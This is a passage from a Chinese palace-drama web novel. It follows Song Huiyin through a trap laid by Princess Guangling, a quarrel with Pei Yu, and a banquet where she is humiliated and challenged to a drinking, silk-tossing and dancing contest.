徽音望着高悬的炎日,坚定的摇摇头,她讨厌出汗身上黏糊糊的感受。 贺佳莹像是刚放出笼子的鸟儿,哪里都想去瞧一瞧,她又不敢独自一人去,便拉着徽音,两人一时间僵持在弯月桥上。 徽音不愿去,贺佳莹使出杀手锏,“半月后陛下要在苑林举办大宴,表兄此刻正在苑林马场那边,你不想去看看吗?” 徽音:“不想。” 她不拿裴彧说事还好,一提裴彧,徽音就想起自己昨夜等人的愚蠢举动,公务繁忙,难道忙的连叫人回来通知一声的时间都没有吗? 分明就是偷听到她和贺佳莹的对话,故意如此,故意借此事告诉徽音他生气了。 徽音不明白,他为什么生气,她懒得去猜裴彧的心思,她有更重要的事情去做。 徽音无视贺佳莹的恳求,转身离开,方才从飞龙雕阁下来的路上他看见了冯承,冯承给她使了几个眼神,应当是有话要与她说。 贺佳莹看着徽音离去的身影,生气的跺跺脚,不舍的望着苑林马场的方向,转身去追徽音。 徽音沿着原路放回,路上遇见一个眼生的宫婢,脚下绊倒朝她扑过来,不动声色的朝她手中塞了一个布条。 她心中一跳,那宫婢站直后垂下头,告了声罪就离开了,徽音甚至都没看清她的脸。 身后传来追赶的脚步声,贺佳莹气喘吁吁大喊:“宋徽音,等等我!” 徽音将布条塞进袖中,回头望去,贺佳莹双手撑膝盖,满头大汗的望着她,身后还跟着喘不上气的疏影。 她微微蹙眉,示意颜娘上扶住贺佳莹,她取出一块干净的棉帕递给贺佳莹擦汗。徽音:“你不是去马场吗?” 贺佳莹没好气的接过帕子,胡乱在脸上擦着,“你不去,我一个人去有什么意思。” “不早了,回去吧。”徽音也没跟她计较,牵住她的手带她回去。 安抚好贺佳莹后,徽音回到屋内展开布条,上头写着“今日酉时,秀水湖畔西侧阁楼见。” 看字迹无法分辨是谁人所书,徽音联想到来的路上广陵公主所为,心中拿不定注意,她分不清这是冯承约她见面还是广陵公主设的陷阱。 甘泉行宫内人多眼杂,冯家在最南边的宫殿群,以她如今的身份,她根本无法光明正大的的去见冯承。 要去吗?徽音走到铜鱼灯台前,将布条烧毁。 热意扑面而来,她垂着眼看着布条被火舌吞灭,不管是谁,既是陷阱也是机会。 等到酉时,徽音换了件素色绫罗曲裾,趁着夜幕降临,独自一人从后院角门离开迎风馆。 依照裴彧的性子,他这几天估计都不会回迎风馆,徽音也不担心他会回来发现她的踪迹。 她没带上颜娘,夜间徐徐凉风吹乱她额前的散发,她们在甘泉行宫要住上三个月,等到八月份才会回京。 也就是说,至少三月内她是没有机会能进入天禄书阁翻阅案件卷宗,目前只能把所以的希望寄托于出京的袁秩身上。 一路想着,徽音已经到了秀水湖畔西侧阁楼,这处偏远,入夜后人影不见,阁楼黑沉沉一片,令人压抑。 她走上前推开门,阁楼内伸手不见五指,徽音听见身后传来动静,连忙回头望去,突然出现的黑影一掌将她推倒在地,随后利落的关上门,将门牢牢锁住。 尖利的女声响起:“关紧了吗,可别叫她跑了。” 谄媚的男声道:“阿姊放心,这阁楼上上下下就这一个出口,保准她出不来。” “那就好,得罪了公主殿下,先关她两天长长记性。” 声音越来越远,徽音站起身拍拍衣袖,她不担心被困住,摸索着找了个地方坐下。 没多久,门外传来撬锁的声音,徽音抬头望去,大门被推开,月光斜斜洒进来,来人正是白日见过的冯承。 冯承拍拍手,一脸无奈:“明知是陷阱还过来。” “因为知道你在身后啊。”徽音笑着起身,侧身出门。 拜广陵公主所赐,这周围的人都被她清走,给了徽音和冯承谈话的机会。 冯承:“那夜裴彧没对你如何吧?” 那夜裴彧带着徽音走后,驰厌按照他的吩咐将那四人丢给了冯承,冯承也知晓了那天晚上发生的一切。 徽音摇摇头,“他没对我如何,阿兄,袁秩有消息了吗?” 冯承:“袁秩出京是回家探亲,才回益州没两天一家人就失踪了,当地官员搜寻了一个多月,生不见人,死不见尸。” 徽音问:“苏家动的手?” 冯承摇头:“不是他们,我估计是他自己躲起来了,躲苏家,也躲我们。” “他最后出现的地方在顺直。” 徽音沉默良久,轻轻叹了口气,意料之中,要找到袁秩并非易事。 天色已晚,两人一路走到秀水湖畔,徽音停下脚步,对身侧的冯承道:“阿兄,就送到这里吧。” 冯承点头,安慰徽音:“别担心,袁秩既然自己藏起来,说明他手真的有扳倒苏家的证据,我们耐心等候就是。” 徽音也明白这个道理,她深吸一口气,平复心情,扬起笑看着冯承,“阿兄下次找我,托人给颜娘送信即可。” 冯承摸摸徽音的头,目光突然顿住,他不动声色的收回手,望着徽音的身后。 徽音顺着他的目光望去,秀水湖畔不远处,安静的伫立一队人影。 驰厌感受到前方越来越低的气压,不动声色的退后两步。方木却浑然不觉,凑上前眯着眼问道:“这么晚了,宋娘子怎么在此处,她旁边那个男人是谁?” 驰厌翻着白眼,双手并用将人拉回来捂住嘴,恶狠狠的瞪着他,眼神示意“不该问的别问!” 裴彧盯着树下的两人,眼神幽暗。 徽音不妨裴彧突然出现在此地,眼下这个场景颇叫人误会,她朝冯承点点头,快步走到裴彧身边望着他。 “前些时日拜托冯阿兄帮忙,今日在此是谈论此事。” 裴彧注意到冯承望着这边担忧的眼神,他面无表情的收回视线,扫了眼站在面前的徽音,声音听不出喜怒:“什么事要独自两个人晚上说?” 徽音张嘴想解释,裴彧却不想听,率先抬步离去。 她沉默的跟在裴彧身后,驰厌和方木自觉的落后,远远的跟着,没有上去打扰。 徽音看着裴彧大步向前的身影,后知后觉,他好像很生气。 今夜确实是她不对,徽音鼓足勇气开口:“这次我确实疏忽了,我现在是你妾室,却三更半夜与其他男子单独见面,若是撞见旁人定叫你难堪,你放心,我下次行事一定会更加隐秘。” 裴彧气笑了,他顿住脚步回头,咬牙切齿道:“宋徽音,你还想有下次,还要更隐秘?你倒是告诉我,如何更隐秘?” 徽音看着比刚才还要更生气的裴彧,也来了脾气,她已经很诚恳的道歉了,也没计较裴彧跟她莫名其妙生气一事。 “这是我的私事,与你无关。” 裴彧脸色彻底冷了下来:“你在行宫,一举一动都与裴家有着千丝万缕的联系,宋徽音,我不想派人盯着你,你也不要挑战我的耐心。” 他说完这句,调转方向离去。 驰厌和方木对视一眼,老实的跟上裴彧,少将军今夜本是想歇在迎风馆,谁知回来的路上撞见着一幕,又和宋娘子不欢而散。 按照他的脾性,估摸着接下来三个月都要待在苑林的军舍,只是苦了他们哥俩。 徽音望着裴彧甩袖离去的身影,在原地沉默良久,回了迎风馆。 颜娘悄悄替她开了后门,带着徽音回屋。她望着徽音沉默的脸,察觉出她心里发烦闷。 颜娘:“发生了什么事?” 徽音忽略掉心中的不适,跟颜娘提起正事:“袁秩带着妻儿躲起来了,一时半会找不到他。” 颜娘捏干帕子递给徽音擦手,宽慰道:“不急于一时,总有他躲不住的那一天。” 徽音双眼放空,她其实并不是愁这事,而是愁裴彧,她能感觉到两人关系的从陌生到熟稔的转变,但不知何时起,这段关系开始变得别扭起来,时好时坏。 她捂着脸仰躺在床上,脑子里全是裴彧那张冷峻的脸,一向玩世不恭的他突然间沉下脸,到真有几分唬人。 可是,他为何那般生气,是气她说没有变故会和王寰成婚,还是气她和冯承深夜见面? 她想不通,索性撒开手,明日有场贵女小宴邀请了裴府,特意点名邀请了她。 徽音不想去,但裴夫人怕她一个人待在院中烦闷,也担心贺佳莹一人应付不来,便让她跟着贺佳莹一起去。 徽音拍拍脸,打起精神挑选明日宴席的衣裳和首饰,明日这场鸿门宴来者不善。 第34章 贵女小宴,广陵公主 白日的秀水湖畔清幽雅致, 池中荷叶盛开,粉白二色相间,荷香远溢。 湖畔南边有两座小亭, 以木廊相接,相距不过数十步。两座亭中锦席案几各二十, 每个木几上摆着两碟糕点,一盒切好的新鲜瓜果盘,浆果饮一盏。 亭栏上三三两两的倚靠着几位衣着鲜亮的小娘子,凑在一起嬉笑玩闹。徽音和贺佳莹刚踏入亭内, 就被一道熟悉的身音喊住。 两人回头望去,对面的亭中走出一个人影, 她穿着一身深绛色曲裾, 外罩一件轻如薄翼的素纱单衣,金玉作配, 富贵逼人。 柳桐不屑的打量徽音和贺佳莹,染着豆蔻的手指轻抚耳垂上的南珠耳铛,讥讽道:“我还当是哪家的婢女误入此地,原来是裴府的破落户和上不得台面的妾室啊。” 有她带头,其他女郎也靠拢过来, 围在柳桐身边, 你一眼我一语的附和柳桐。 贺佳莹气的不轻, 她是最近喜欢上简单舒适的打扮, 不爱那些繁复琐杂的衣饰。徽音低调, 加之身份原因也不爱亮色, 打扮偏素雅,自然比不得柳桐光彩夺目。 她正想上前理论两句,徽音及时拉住她, 笑盈盈道:“柳女郎氏族出身,我等自然比不了。” 柳桐面露得意,河东柳氏之女她最引以为傲的身份,不论走到何处,都会被人高高的捧着,以她为首。 徽音见她转移注意力,拉着贺佳莹挑了个角落坐下,这里不少女郎的兄长都在裴夫人考虑之列,她奉裴夫人的命令来看顾贺佳莹,自然不能让她和柳桐发生冲突。 贺佳莹气冲冲的坐在徽音旁边,她最讨厌柳桐了,每次对上都要被奚落一番。 徽音将切好的果盘移到她面前,不动声色的打量几位偷看她们的女郎。裴夫人让贺佳莹来露脸,必定是对方也有意,让家中女郎来打探一二。 徽音转移贺佳莹的注意力,拉着她同身侧的青衣女郎搭话,“女郎这檀木簪雕刻手法巧夺天工,不知是何处所买?” 贺佳莹成功被转移视线,和旁边的青衣女郎凑在一起嘀嘀咕咕的讨论珠宝首饰,方才的气瞬间消失。 今日这宴席本就是为了相互结识,没过一会,两座小亭内的女郎们就开始互相交流,来回走动起来。 徽音对这些没兴趣,她今日的任务就是帮助贺佳莹快速融入,盯着她不让她失态。此刻无事可做,她悠闲的靠在木廊上,闭着眼感受风里的宁静。 奈何有人不愿意放过她,环佩叮当响起,声音越靠越近,最终停到她的案前。 徽音睁开眼,柳桐一脸得意,鼻孔朝天的望着她。 “柳女郎有事吗?” 柳桐还记得上在琳琅阁里抢发簪的仇,她双手抱臂,抬脚踢踢徽音的腿,带着满满恶意:“宋徽音,听说你瑟弹的不错,不如给大家伙弹一曲助助兴?” 贺佳莹发觉这边的动静,正要起身帮徽音解围,却被徽音眼神制止,老实的坐回去。 徽音跪坐着,不卑不亢回道:“柳女郎,妾身已经多日不曾弹奏,手生,怕是要让你失望了。” 柳桐才不管什么,她一脚踢翻徽音面前的案几,大声道:“倘若本女郎非要让你弹呢?” 徽音站起身,拍拍被柳桐踢过的衣角,笑意不达眼底:“柳女郎,抱歉。” 反正裴夫人交代的事情完成了,徽音也不想在这里浪费事情,她越过柳桐离开亭内。 柳桐招招手,两个面生的女郎立马上前挡住徽音去路,张开手不许她过去。 徽音眉头蹙起,回头去看,柳桐缓步走到亭门口,眉尖上扬,红唇轻启:“你不谈,就别想走。” 柳桐走上前,和徽音面对面站着,她盯着这张素面朝天却依旧令人移不开目光的脸,心生嫉妒。 “怎么,难不成没有王郎君,你就弹不了?” “原来是为了王寰啊。”徽音轻笑出,她与柳桐虽然有嫌隙,但也不至于被她如此刁难,若是柳桐心悦王寰,那一切就说得通了。 柳桐听见徽音着声轻笑,再看见她脸上意味深长的表情,心中恼火至极,她心悦王寰,还放下身段去找过王寰,可王寰从没正眼瞧过她! 她怒上心头,扬手挥下。 “啪——” 徽音不妨她突然发难,结结实实的挨了这一下,白皙的脸蛋爬上红痕。 贺佳莹再也坐不住,一把推开柳桐开跑到徽音身边扶住她,带着怒气冲柳桐喊到:“你太过分了,你怎么能随意打人。” 柳桐趾高气扬道:“不过一个贱婢,我打就打了,你也配在我跟前大呼小叫。” “你……”贺佳莹气急,就要上前理论。 徽音按住她,将人拉到身后。她面无表情的走上前,柳桐还一脸玩味的盯着她的左脸。 “睢阳公主。”徽音视线越过柳桐看向后方,轻声道。 柳铜眼神一闪,连忙回头去望,却没发现一个身影。她明白自己被徽音戏耍,生气的回头要骂。 她才刚转头,迎面挥来一阵风声,清脆的声音响起。 “啪——” 周围观看的人群倒吸一口凉气,贺佳莹也楞在原地,没料到徽音出手如此利落。 柳桐捂着脸不可置信的后退两步,“你敢打我?” 徽音慢条斯理的取出棉帕擦手,掀起眼皮看了她一眼,漫不经心道:“方才那句话还给你。” 不过一个贱婢,我打了就打了。 柳桐面目狰狞,她自长这么打,从没被打过,更不用说在这么多人面前被掌掴。 “宋徽音!”柳桐恨的咬牙切齿,扬起手就要再打回来。 贺佳莹看着她高高扬起的手掌,心一横,闭着眼睛上前去挡。意想中的疼痛没有袭来,只听见柳桐气急败坏的叫骂声。 贺佳莹睁开眼,柳桐那只扬起的手掌被徽音牢牢握住,一阵风吹来,徽音的发丝随风飘动,吹在她脸上,痒痒的,还带着清香。 徽音松开柳桐的手,逼近一步,“不管我从前是何身份,但现在,我是裴家人,你想要肆意欺辱,也要看皇后娘娘和裴家答不答应。” 柳桐握紧手心,指甲狠狠嵌进掌心,她盯着面前这张脸,恨不得刮花。占了她阿姊的位置,还大言不惭利用裴家做挡箭牌。 徽音见她被唬住,拉着贺佳莹转身就走,柳桐性格偏激,被惹急了难免做出什么事情来。她能拿皇后吓唬她一次,却唬不住第二次。 “宋徽音,你和你那短命的阿母一样,都叫人讨厌至极。你们不愧是母女,都喜欢抢别人的郎婿,不要脸!” 柳桐声音尖利,在场所有人都听见她这句话,望着两人的方向窃窃私语。 徽音停住脚步,松开贺佳莹的手,转身盯着柳桐面无表情:“你再胡说,我撕了你的嘴。” “我胡说?”柳桐彷佛出了口恶心,扬声道,“你阿母在嫁给你阿父之前,恬不知耻,攀龙附凤,妄图勾引我阿父,被我阿母发现,狠狠的教训了一顿。怎么?她没跟你说吗?” “住口!” 徽音绝不容许任何人侮辱她死去的父母。她最后的耐心告罄,上前用只有两人能听见的声音警告道:“没了河东柳氏,你又算什么东西。在你父亲眼底,你和你阿姊不过是一颗为家族垫路的棋子。” 柳桐眯着眼,不悦道:“你胡说什么?” “裴彧误传死讯不过三月,你阿父连三月都不愿意等,便将你阿姊嫁予董氏联姻。董无伤体弱多病,医者断言活不过二十,青州董氏是大族,礼仪苛刻,怎会允许寡妇再嫁?” “他明知这门亲事是火坑,还推你阿姊去。若裴彧没有回来,没有权势滔天,你看青州董氏会不会松口让你阿姊守三年孝再归家。” “先是你阿姊,下一个就是你,你与其在这里与无关人纠缠,不如回去想想,如何让自己往后过的舒心些。” 柳桐脸色发白,想起了很多往事,阿姊出嫁前的眼泪,母亲无能为力的哭诉,还有父亲冷漠无情的脸。 她捂着耳朵尖叫:“不可能,你在骗我!” 徽音懒得再解释,冷冷道:“蠢货。” 柳桐立在原地没动,无视周围纷纷扰扰的声音,她想起来了,最近母亲总是看着她落泪,她去问,母亲只是摇摇头,什么都不说。 还有父亲和哥哥总是频繁带她去太常寺张大人府上做客,他们难道是要将自己和张勋凑在一起。 不,这绝不可能,张勋风流成性,整日流连烟花酒巷,她怎么能嫁给他!她要回去问清楚! 柳桐狠狠瞪了徽音一眼,转身提裙跑开。众人看着柳桐的离去不明所以,刚刚还一副气焰嚣张的模样,要道出陈年辛密,怎么眨眼间就跑了。 徽音牵着贺佳莹继续往前走,刚下木桥,就撞上姗姗来迟的广陵公主。 她垂下头,拉着贺佳莹行礼,若非被柳桐耽误,她早带着贺佳莹离开了,也不至于撞上这位骄横的公主殿下。 广陵公主与郑妃娘娘容貌肖似,尤其是那一双狐狸眼,脸眼角上演的弧度都一模一样。她身上的百蝶秀金裙在光下闪着细碎的亮光,身后跟着八名青衣宫婢和四个小黄门。 广陵公主走进亭中,众人纷纷行礼请安:“广陵殿下安好。” 广陵无趣的瞥了眼亭中的女娘,兴致缺缺的坐下,“都起来吧,怎么没看见柳桐?” 一女郎上前笑道:“殿下,方才柳女郎被人气跑了。” “是谁?”广陵公主来了兴致,直起身问道。 那女郎指着徽音道:“就是她,宋徽音。” 徽音眼见躲不过去,带着贺佳莹再次进入亭中,停在广陵公主面前,恭敬道:“殿下万安。” 柳桐是个纸老虎,不足为惧。广陵公主却不同,徽音从前跟她打过几次交道,她是真正的心狠手辣,视人命为无物,每年她宫中都会抬出几具凌虐致死的宫婢。 广陵单手支着头,笑的张扬,“你怎么出来的?” 徽音迎着她打量的目光,也笑道:“殿下心善,给我留了一个门。” 广陵的笑容淡了下来,眼神狠厉:“倒是第一次有人说我心善。” 旁人不知两人打的什么哑谜,听到这句话,纷纷聚拢过来,恭维广陵公主心地善良,菩萨心肠。 徽音趁机退到身后,抬头去看贺佳莹,发现她一直低着头,肩膀颤抖。她握住贺佳莹微凉的手,碰碰她的脸颊,轻声问道:“怎么了?” 贺佳莹脸色苍白,手脚止不住的颤抖,她摇摇头,躲在徽音身后:“我没事。” 她不敢抬头去看广陵公主,广陵公主带给她的那些痛苦记忆还残留在身体,让她瑟瑟发抖。 徽音看着贺佳莹不对劲的状态,心中有了猜测。裴家和郑家是死对头,皇后和郑妃娘娘在宫中打擂台,广陵公主作为郑妃娘娘的女儿,会争对贺佳莹不是奇事。 广陵被一群女娘围在中间,被她们叽叽喳喳的声音扰的心浮气躁,说些别的也就罢了,一口一个心善,是在嘲讽她吗? “闭嘴!”她猛的拍桌,不耐烦道,“再吵,本公主就割了你们的舌头!” 都是些养在深闺的女郎,好些第一次广陵公主想要讨好一番,哪里见过这种场面,纷纷吓的不敢说话,亭内瞬间寂静无声。 广陵公主耳边清净后,在身后宫婢的搀扶下起身,走到徽音面前,盯着徽音身后的贺佳莹有趣道:“是你啊,你居然还敢往我眼前凑。” 贺佳莹浑身一抖,双手死死拽住徽音的衣角,恨不得将头埋在地里 徽音皱眉,她还是第一次见贺佳莹这副害怕的模样,广陵公主到底对她做了什么? “殿下,您发钗歪了。” 广陵公主的注意力被徽音拉回,她不在意的从头上抽出那支栩栩如生的金蝶发钗递给身后的宫婢,嬉笑道:“玩了乐子,以这钗为彩头,谁能率先拿到宋徽音的腰带,本殿下就将这只钗赏给她,还答应她一个愿望。” 亭内呼吸声停顿一瞬间,纷纷埋下头不语,扒了腰带衣冠不整,若叫人看见如何是好? 广陵回头看着面露害怕的贵女们,不悦道:“不动手的人,下一个就拿你开刀!” 今日到场的女郎属柳桐身份最为贵重,若她还在,广陵说不定还会忌惮三分。 她笑盈盈的望着贵女们,开始点名:“你,过去。” 那名贵女望着广陵恶毒的笑容,说不出拒绝的话,害怕的起身朝徽音走去,有她带头,其他人也在广陵的逼迫下动作起来。 贺佳莹面露惊恐,扯着徽音的衣角,“走,快走。” 徽音心中明白,广陵让众人都下场,都参与到这个事情中来,即使事后皇后贺裴家想要追究,事关这么多的官员家眷,根本奈何不得,只能咽下这口气。 她看着围上来的人群,护着贺佳莹一步一步退出亭中,身后的人也包围上来,将两人困在相连的木廊上。 广陵站在亭中,饶有趣味的望着徽音,不放过她每个表情。她最喜欢的就是人脸上的害怕,令她无比兴奋。 贺佳莹崩溃哭出声:“我不要……我不要再被扒光。救救我,徽音,救救我!” 徽音听着她的哭求,心里的愤怒达到顶端。她抿着唇,转身将贺佳莹抱在怀里,挡住她的视线。 算算时间,也该到了。 在第一个人即将触摸到徽音腰带的时候,一道威严的声音传来:“住手!甘泉行宫中岂容你们放肆!” 秀水湖畔上出现一队人影,领头的那位一袭粉白曲裾,她怀中抱着一捧的含苞待放的荷花,巧笑嫣然,仿若莲池仙子,出声的正是她身侧一位面容严肃的老媪。 其他人不知,广陵却是认识,那老媪是皇后的傅母,睢阳公主出生后,被皇后拨给了睢阳,照料她起居。 睢阳捧着荷花慢悠悠的上前,朝广陵行礼:“皇姊安好。” 广陵皮笑肉不笑道:“你来的倒是巧。” 睢阳捧起怀中的荷花,低头拨弄:“去摘了些荷花,来迟了些,应该不晚。” 她走到木廊上,其他人纷纷散开行礼,睢阳眉眼弯弯的朝徽音喊道:“徽音阿姊,你们方才在玩什么?” 离徽音最近的那个女郎额头冒汗,跪地求饶:“睢阳殿下饶命,妾……” “闲话两句,殿下先进亭吧。”徽音拉着贺佳莹退到一边。 跪下求饶的女郎愣住,呆呆的望着徽音,她没想到徽音会出声为她解围。 睢阳点点头,抬步进亭,越过徽音时发现她身后泣泪的贺佳莹,她面露疑惑:“你怎么哭了,谁欺负你了?” 贺佳莹不肯说话,躲在徽音身后。 徽音替她开口:“她被风迷了眼。” 睢阳也并非什么都不懂,看得出来方才广陵在为难徽音二人,徽音不想多说,她也不问。 她进了亭中,发觉广陵一脸不悦的盯着她。 睢阳不怕她,自顾自的挑了个位置坐下,疑惑的回头问:“你们不进来吗?” 徽音看贺佳莹已经收拾好心情,带着她进入亭中坐下,其他人也依着各自父兄所属的阵营,一半坐在睢阳这边,一半坐在广陵那边,泾渭分明。 直到现在,这场赏荷宴才正式开始。 睢阳坐下后只管同徽音聊天和拨弄怀中新摘的荷花,她不喜欢这种场合,若非徽音今日托人给她传话,她此刻还窝在清凉殿内摆弄新得的葵花。 广陵不悦:“你来了又不说话,何意?” 睢阳眨眨眼,“这里皇姊最大,自然是皇姊发话。” “单赏荷有什么好玩的,不如比试一番?”广陵把玩手中的酒盏,意味不明。 “你我二人分作两队,各队出三个人,三局两胜,如何?” 睢阳没有异议:“可以。” 广陵笑着拍拍手,两个小黄门抬着两个雀鸟云纹的漆壶放在亭中央,广陵身后的宫女上前倒酒。 漆木案上,摆着两行酒盏,一边十盏,酒香萦绕。 广陵起身走到案前,长裙曳地,她率先端起一盏酒,朝睢阳道:“这第一局,比酒量,本公主亲自下场,睢阳,你要来吗?” 睢阳摇摇头,她不会喝酒。 广陵慢条斯理的喝完一盏酒,狭长的眼睛眯着,“听闻裴夫人在女眷中酒量数一数二,作为她的侄女,贺佳莹,就你来吧。” 贺佳莹攥紧拳头,鼓起勇气起身。 身后一只手将她按下,贺珺笑盈盈的起身:“广陵殿下,妾与妾的父兄自幼跟随裴将军征战,军中好饮。妾斗胆,这一局让妾来吧。” 贺佳莹拉住贺珺的手,想要阻止她。贺珺家是依附裴家的官将,她与贺珺见过几面,不想让她因为自己得罪广陵。 贺珺微微摇头,示意贺佳莹宽心。她兄长一条命是少将军救下的,一家人都非常感念少将军恩德。 方才广陵公主欺辱徽音和贺佳莹时她没能力阻拦,现在广陵摆明要刁难贺佳莹,她不能坐视不理。 贺珺走上前,恭敬的朝广陵行礼,“广陵殿下,您先请。” 广陵眯着眼打量面前的女子,是她没见过的人,倒是不怕死。没将贺佳莹叫出来,她也没甚趣味,快速喝完剩下的酒回到座位。 贺珺刚拿起一盏酒就觉得不对,这酒味道辛辣,酒气冲人,与方才广陵公主盏中截然不同。 若广陵公主盏中的是适合女子饮的果酒,那她这里就是烈酒,普通女子喝完一盏都不易。 广陵似是觉得她墨迹,不耐烦道:“喝不喝?” 贺珺不敢再耽误,仰头咽下,酒方才下肚,她便感觉胃中犹如火烧,难喉咙烧痛。 她忍者不适,继续去拿第二盏,闭着眼咽下。她酒量不差,坚持喝完了五盏,满面通红,胃中已经翻江倒海,一张嘴就要吐出来。 广陵还在不停的催促。贺珺站不稳的跪在地上,伸手去拿酒。 “广陵殿下,这一句我们输了。”徽音取走贺珺手中的酒盏,将人扶起来交给身后宫婢。 广陵单手绕着头发,不屑道:“还以为多厉害,裴家军也不过如此。” 徽音端起酒盏放在鼻尖轻嗅,不经意道:“泉烈酒,极烈。历来都是供边关守军度过寒冬的,没想到广陵殿下酒量如此之好,十盏下去依旧面不改色,真乃女中豪杰。” 广陵眸色沉沉,挥手让人将酒撤下去。睢阳也发觉不对,她本打算置身事外,但广陵故意刁难,嘲讽裴家军让她忍不了。 睢阳歪着头笑道:“皇姊,第一局你定,这第二局便让妹妹来定吧。” 广陵冷哼:“随你。” 睢阳命人取来两片轻如蝉翼的绢纱,手指轻轻划过绢纱,沉吟道:“就比谁能将这绢纱扔的远,不局限一人,可以商讨。” 广陵点点头,接过绢纱递给身后人,她对这局没兴趣。她兴致勃勃的盯着徽音,她感兴趣的是第三局。 一刻钟后,广陵那边的贵女捡起一块碎石,将绢纱绑在石头上,由力气最大的掷出去。石头落在湖中央,带起一片涟漪。 睢阳看见她们完事后,这才站起身,远处跑来一个小黄门,手中捧着一个叽叽喳喳的小雀鸟。 睢阳轻柔的将纱绢绑在小雀鸟腿上,再让人放飞。雀鸟得了自由,扑腾着翅膀快速起飞,没几息便消失在天边。 广陵身后的贵女们面面相觑,睢阳身后的贵女嬉笑高呼。这第二局,睢阳胜。 第二局开始广陵便没说过话,她不耐烦的拍着案几,“第三局可以开始了吧。” 睢阳笑道:“可以。” 广陵盯着徽音,唇边勾笑,“免得你们说不公平,这第三局,挑个大家都拿手的,比舞如何?” 睢阳回头望向身后,询问:“你们会跳舞吗?” 众女皆摇头,会跳也不敢在这里出风头。 广陵朝身后喊道:“秀娘。” 她身后应声出来一个女娘,腰肢纤细,脚步轻盈。郑秀巴掌大的小脸,一双眼却格外大,水盈盈的,她柔声道:“妾自幼学舞,这局便由妾来吧。” 睢阳和徽音听见身后的谈论,郑秀是平阳侯府的庶女,她母亲曾是一舞名动长安的红袖招。她深得其母亲传,小小年纪身段了得,舞艺不凡。 睢阳凑近徽音小声道:“徽音阿姊,我看皇姐一直盯着你,许是会让你上场,你若不愿意,我们弃权便是。” 徽音还没回答,广陵已经发难,“宋徽音,在座各位都是贵女,怎好供人取乐,看来看去,只有你身份最合适。” 她着句话不仅骂了徽音,连郑秀也骂了进去,徽音抬头望去,郑秀还是那副柔柔的模样,丝毫不受广陵话语影响。 睢阳想要开口解围,徽音拉住她。 徽音:“妾愿意比,只是我们好像都忘了一件事。” 广陵:“什么?” 徽音莞尔道:“彩头,三局两胜,胜者的彩头是什么?” “你想要什么?”广陵问,只要徽音答应比舞,一点彩头而已,她愿意给。 徽音:“妾想要殿下,为着方才欺辱一事亲口向我,还有贺佳莹道歉。” 广陵脸上笑意消失,她面无表情盯着徽音,“从来没有人敢这么要求本公主?” 徽音微微垂头,“殿下不愿意,那便算了。” “慢着,”广陵站起身,双手交叠与腹前,气势逼人,“本公主答应你,可你若输了,我就要将方才没做完的事继续。” 徽音答应下来。 因比舞需要更唤舞衣和妆容,广陵给了她们半个时辰的时间回去更衣。 回迎风馆的路上,贺佳莹拉住她,偷偷问道:“你有把握吗?” 徽音摇摇头,她会舞,却比不得音律。郑秀一看就是行家,她没有把握。 睢阳也担心的回头,“若是输了,我就去找母后帮忙。” 徽音安慰两人:“舞比非只看舞技,影响的因素有很多。舞技比不过,就从其他方面下功夫。何况等会是投票表决,我算过了,票数会是平局。” 贺佳莹面露迷茫:“为何是平局?” “咱们今天在秀水湖畔闹出这般阵仗,此刻整个行宫都知道的差不多了。这已经不单单是女郎间的赌局,其背后是郑家和裴家的博弈,只怕这会,各府的女郎都接到了家中的叮嘱。” 徽音所料没错,除了进山打猎的裴彧,太子吴王等人,行宫内其他人都得到了消息。连内宫中的陛下和皇后都听闻此事,陛下还同皇后下注,赌谁会赢。 她们刚回迎风馆,就见裴夫人早就等在门口,她身后婢女十二人,各个手中端着的漆盘上摆满衣裳和首饰。 见徽音等人回来,她上前朝睢阳见礼后,吩咐身后的婢女将徽音带下去梳妆。 贺佳莹问:“姨母,这是……” 裴夫人摆摆手,“事情的起因我都知道了,就凭徽音那张脸,她往那一杵就赢了。” “姨母,你不怪我们闹出这个乱子吗?”贺佳莹回来的路上就揣揣不安,担心挨骂。 裴夫人笑道:“骂你们做什么,皇后娘娘说了,郑家最近越发过分,明面上不好教训她们,这个机会正好。那广陵数次欺辱你,这次定要狠狠出口气。” “你眼睛怎么肿了?”裴夫人发觉贺佳莹情绪不对,眼睛肿的老高。 贺佳莹眼眶生热,低下头亲亲热热的挽着裴夫人,轻声道:“是风迷了眼。” 第35章 他心中有人,怎会对她动…… 青铜菱花镜镜中浮现一个人影, 发髻上珠翠严丝合缝,似个行走的梳妆奁。 徽音动了动重如山的脑袋,她依旧没办法认同裴夫人简单粗暴的审美。 身后的青衣婢女拿着海棠留仙裙在她身边比划, 徽音拦下她的动作,将头上多余珠翠取下。 她选了件碧粉相间的纱纹裙, 轻透如雾,依稀可见内里白皙的肌肤。将长发分股,一部分挽髻,余发散背, 髻上系着一根朱红飘带。 不同以往的素面朝天,徽音特意上了妆, 在眉心描上莲花样式的花钿, 胭色如云。 趁着还些时间,徽音回想起之前学过的几只舞, 她会的不多,跳的最好的当属折腰舞。 郑秀的阿母红袖招当年就是以折腰舞名动西京,她自幼随其母苦练,今日必定也会选这支折腰舞,徽音若也跳折腰舞, 完全没有取胜的可能。 虽说票数会是平局, 但若两人舞姿差距过大, 广陵定然不服。徽音想来想去, 跳采莲舞, 配以她这身装扮加上十里荷花, 或能一博。 收拾好后,她快步出屋,贺佳莹和睢阳在院中等她, 见她出来,满眼惊叹。 贺佳莹仿佛看见了曾经的徽音,锦衣华服,巧笑嫣然。看久了她浅衣素面,忽然再看她娇艳如花,只觉耀眼。 贺佳莹凑上前,她眼皮已经叫裴夫人拿煮好的鸡蛋滚消肿,只是还有些红红的。 她摸着徽音的衣料,赞叹道:“真好看。” 睢阳依旧还抱着那捧荷花,面露忧虑:“徽音阿姊,你想好跳什么舞了吗?” 徽音点点头,“走吧。” 她们到秀水湖畔时,这里的比方才还要多两倍,除了看热闹赶来的官眷外,还有不少来探听消息的奴仆。 广陵等人已经等在亭中,郑秀穿着一身绯红云罗裙,衣裳裁剪极贴腰肢,袖长及膝。她挽着高髻,俏丽妩媚,与方才柔顺的气质大为不同。 她盯着徽音似笑非笑:“还你为你不敢来了。” 徽音提裙走进木廊,表情平淡:“殿下说笑了。” 郑秀也望着徽音,看起她的舞裙后眼光一闪,手心渐渐生汗,今日这才比试,她必须赢。 广陵已经迫不及待的想看见宋徽音颜面尽失的模样,她不耐烦的敲敲桌,“你们谁先来。” 徽音和郑秀目光相交,郑秀上前一步,声音柔弱却坚定:“妾先来。” 徽音没有异议,坐到睢阳和贺佳莹身边,环顾四周,依旧还是方才那些女郎,没有生面孔。 弦声轻响,舒缓轻盈,郑秀双膝微曲,双臂交叠于胸前,被长袖遮挡的面部只露出处一半,妩媚动人。 